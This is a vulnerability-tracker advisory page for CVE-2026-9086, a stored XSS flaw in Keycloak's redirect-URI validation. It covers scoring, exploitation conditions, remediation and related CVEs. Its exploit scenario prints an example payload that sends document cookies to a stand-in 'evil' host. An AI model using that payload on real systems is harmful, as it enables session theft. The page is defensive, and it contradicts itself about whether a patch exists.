Skip to main content

Red Hat Keycloak EUVDEUVD-2026-39473

| CVE-2026-9086 HIGH
Cross-site Scripting (XSS) (CWE-79)
7.3
CVSS 3.1 · Vendor: redhat
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Access
    Obtain manage-client or registration access
  2. Delivery
    Register client with case-mangled javascript:/data: redirect URI
  3. Exploit
    Bypass URI scheme validation
  4. Execution
    Deliver crafted logout/Admin Console link to victim
  5. Persist
    Victim click triggers XSS in Keycloak origin
  6. Impact
    Exfiltrate session tokens / execute actions as victim

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Output encoding, context-aware escaping
MITRE ATT&CK

2 techniques across 2 tactics: Initial Access, Execution

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

Exploitation requires an attacker who already holds administrative-level access to client management - specifically the manage-client permission or reachable client registration endpoints - to register or modify a client with a crafted redirect URI using a case-insensitive javascript: or data: scheme. It further requires victim interaction (UI:R): a user or admin must click the crafted link, typically surfaced through the logout flow or the Admin Console. Limiting factors: this is not unauthenticated (PR:L per the CVSS vector), it depends on Keycloak being configured to allow the relevant client registration access, and it does not fire automatically - a victim click in the Keycloak origin is mandatory, which narrows realistic exploitation to environments with delegated client administration or exposed/dynamic client registration.

Impact

Signals are moderately concordant rather than alarming. The CVSS 3.1 vector CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:N yields 7.3 (High): network-reachable and low-complexity, but it requires privileges (PR:L) and victim interaction (UI:R), which materially limit mass exploitation. The key prerequisite - an attacker who already holds manage-client or client-registration access - means the threat model is largely a privileged/insider or compromised-admin-account scenario, or environments that expose open/dynamic client registration. No EPSS score, no KEV listing, and no POC are present in the provided data, so this is not currently evidence of active or widespread exploitation. The C:H/I:H/A:N impact is justified because executing script in the IdP origin can hijack admin sessions and tokens (confidentiality and integrity) without taking the service down. Net: a real, worth-patching issue for any multi-tenant or delegated-admin Keycloak deployment, but not an emergency drop-everything item absent exploitation evidence - prioritize where client registration is broadly delegated or publicly exposed.

Exploit ScenarioDerived

An administrator (or attacker who has compromised an account holding manage-client permission) registers a new OIDC client and sets a redirect URI such as JavaScript:fetch('//evil/'+document.cookie), which evades the case-sensitive scheme filter. The attacker then lures a logged-in Keycloak admin or user into clicking a logout or Admin Console link tied to that client; the script runs in the Keycloak origin and exfiltrates the victim's session token, granting the attacker control of that session. No public POC is referenced in the source data, and exploitation requires the victim interaction (UI:R) and prior low-level privileges (PR:L) reflected in the CVSS vector.

This Week Schedule remediation this week. Why: HIGH severity (CVSS 7.0-8.9).
Patch available 0.4% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Jun 25, 2026

Stored Cross-Site Scripting in Red Hat Build of Keycloak lets an authenticated administrator with manage-client permission (or access to client registration endpoints) register a malicious client whose redirect URI uses a case-insensitive javascript: or data: scheme, bypassing URI validation. When a victim later clicks a crafted link - for example during the logout flow or within the Admin Console - the script executes in the Keycloak origin, enabling session/token theft and effective code execution in that trusted context. There is no public exploit identified at time of analysis and the issue is not listed in CISA KEV; it carries a CVSS 7.3 (PR:L, UI:R).

RemediationAI

No vendor-released patch version is identified in the provided data, so confirm and apply the fixed Red Hat Build of Keycloak release referenced in the Red Hat advisory (https://access.redhat.com/security/cve/CVE-2026-9086) and Bugzilla 2480170 (https://bugzilla.redhat.com/show_bug.cgi?id=2480170) as soon as it is published - these are the authoritative sources for the exact version. As compensating controls until patched: restrict who holds the manage-client role and lock down or disable the client registration endpoints (set client registration policies to deny anonymous/dynamic registration), since the attack requires that access - the trade-off is reduced self-service for legitimate client onboarding. Audit existing clients for redirect URIs containing javascript: or data: in any letter case and remove offending clients; enforce an allow-list of https: redirect URIs via client registration policies, accepting that custom-scheme native-app clients may need explicit exceptions. A strict Content-Security-Policy on the Keycloak Admin Console and account/logout pages (disallowing inline script execution) reduces XSS impact but may break customized themes and must be tested.

Affected VersionsENISA

Red Hat build of Keycloak 26.6 patch: 26.6.4-2
Red Hat build of Keycloak 26.6 patch: 26.6-8

Affected Packages

maven org.keycloak:keycloak-services fix: 26.6.4

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 1 package in maven

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

Keycloak is a widely used open-source identity and access management server (the upstream of Red Hat Build of Keycloak) implementing OAuth 2.0/OpenID Connect, where each registered client declares allowed redirect URIs that Keycloak validates before redirecting browsers during login, logout, and registration flows. The root cause is CWE-79 (Improper Neutralization of Input During Web Page Generation): the redirect-URI validation logic only blocked dangerous URI schemes case-sensitively, so a scheme written as JavaScript:, JaVaScRiPt:, or a mixed-case Data: slipped past the deny-list and was later rendered/followed in a browser context within the Keycloak origin. Because the malicious URI executes script in Keycloak's own origin (which holds admin sessions, SSO cookies, and tokens), the XSS is effectively a pivot to code execution in the IdP's trusted context. The affected component per CPE is cpe:2.3:a:red_hat:red_hat_build_of_keycloak (version unspecified/all in the feed).

Know when Red Hat Build Of Keycloak gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (redhat) PRIMARY 7.3 HIGH
AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:N
vuln.today AI 8.7 HIGH

Network XSS needs prior client-management privilege (PR:L) and a victim click (UI:R); script runs in the Keycloak origin affecting other sessions, so I assess S:C with high confidentiality/integrity impact and no availability effect.

3.1 AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:N
4.0 AV:N/AC:L/AT:N/PR:L/UI:P/VC:H/VI:H/VA:N/SC:H/SI:H/SA:N
Red Hat 7.3 HIGH

Primary rating from Vendor (redhat).

CVSS VectorVendor: redhat

Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
Required
Scope
Unchanged
Confidentiality
High
Integrity
High
Availability
None

DescriptionCVE.org

A flaw was found in Keycloak. A remote attacker with administrative privileges, specifically those with manage-client permission or access to client registration endpoints, could bypass client Uniform Resource Identifier (URI) validation. This is achieved by registering a malicious client with a specially crafted redirect URI using a case-insensitive javascript: or data: scheme. This Cross-Site Scripting (XSS) vulnerability allows for arbitrary code execution in the Keycloak origin when a victim clicks the crafted link, such as in the logout flow or the Admin Console.

Blast Radius

ecosystem impact
† from your stack dependencies † transitive graph · vuln.today resolves 4-path depth
  • 52 maven packages depend on org.keycloak:keycloak-services (20 direct, 32 indirect)

Ecosystem-wide dependent count for version 26.6.4.

Executive ViewAI

Why It Matters

Red Hat Build of Keycloak contains a stored XSS vulnerability (CVSS 7.3) in client registration that allows authenticated administrators to inject malicious code executing in the Keycloak origin. Successful exploitation enables theft of user sessions and tokens, potentially compromising identity and access management for the entire organization. Patch is not yet available; immediate mitigations focus on access control tightening.

Business Impact: High
Compensating Controls

No vendor-released patch identified at time of analysis. Interim mitigations: (1) Limit manage-client permissions to minimal administrative set; (2) Implement MFA for all Keycloak administrative accounts; (3) Monitor and alert on client registration changes; (4) Restrict network access to Admin Console by IP/VPN; (5) Regular audits of redirect URIs using case-insensitive pattern matching for javascript: and data: schemes; (6) Consider temporary suspension of client self-registration if supported by your deployment model.

Threat Intelligence Overview

EPSS Score
0.4%
Top 67% exploitable
Prevalence
High
widely deployed enterprise identity provider in many Linux/Kubernetes stacks
Threat Intel
1
1 sources
Data Quality
6 sources
Confidence: High
EUVD NVD CVE.org EPSS Vulnrichment GHSA Vendor GitHub VulDB

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity HIGH
CISA KEV No
Public POC No
EPSS 0.4%
Patch available Yes
Active threat No
Deciding rule
HIGH severity (CVSS 7.0-8.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision
Scheduled
Exploitation
None
System Exposure· derived
Open
Automatable
No
Human Impact
High
Technical Impact
Total

Priority Score

36
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +36
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.

Remote Code Execution represents the critical moment when an attacker successfully runs arbitrary code on a target system without physical access.

CVE-2026-18963 CRITICAL POC
9.1 Aug 18

Account takeover in Red Hat Build of Keycloak allows an unauthenticated attacker to abuse the reset-credentials flow in

CVE-2026-16442 CRITICAL
9.8 Aug 05

Account takeover in Keycloak (Red Hat build of Keycloak, Red Hat Single Sign-On 7) arises because the IdP-initiated SAML

CVE-2026-16443 CRITICAL
9.1 Aug 05

Authentication bypass in Red Hat Build of Keycloak (and Red Hat Single Sign-On 7) lets an unauthenticated attacker forge

CVE-2026-15572 HIGH
8.8 Aug 05

Privilege escalation in Red Hat Build of Keycloak's Dynamic Client Registration (DCR) grants an attacker with low-privil

CVE-2026-93569 HIGH
8.2 Sep 18

Mismatched handling of the HTTP/1 absolute-form request authority in Red Hat build of Quarkus and other affected Red Hat

CVE-2026-9800 HIGH
8.1 Jun 25

Authorization bypass in the Keycloak Policy Enforcer allows any authenticated user to circumvent all enforced access con

CVE-2026-15573 HIGH
8.1 Aug 05

URI normalization bypass in Keycloak's Authorization Services PathMatcher allows authenticated low-privilege users to re

CVE-2026-16102 HIGH
8.1 Aug 05

Privilege escalation in Keycloak's Dynamic Client Registration (DCR) component allows attackers with standard user accou

CVE-2026-18214 HIGH
8.1 Jul 31

Token exchange in Keycloak bypasses Google Workspace domain allowlist restrictions, enabling any valid Google account ho

CVE-2026-11800 HIGH
8.1 Jun 25

Signature-verification bypass in Keycloak (and Red Hat's Keycloak-based products such as Red Hat Single Sign-On 7 and Re

CVE-2026-18215 HIGH
8.1 Jul 31

Tenant-restriction bypass in Keycloak's Microsoft identity provider integration allows attackers holding any valid Micro

CVE-2026-18967 HIGH
8.1 Aug 06

Session hijacking via SAML assertion replay in Keycloak's SAML broker component allows adjacent-network attackers to aut

Vendor StatusVendor

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy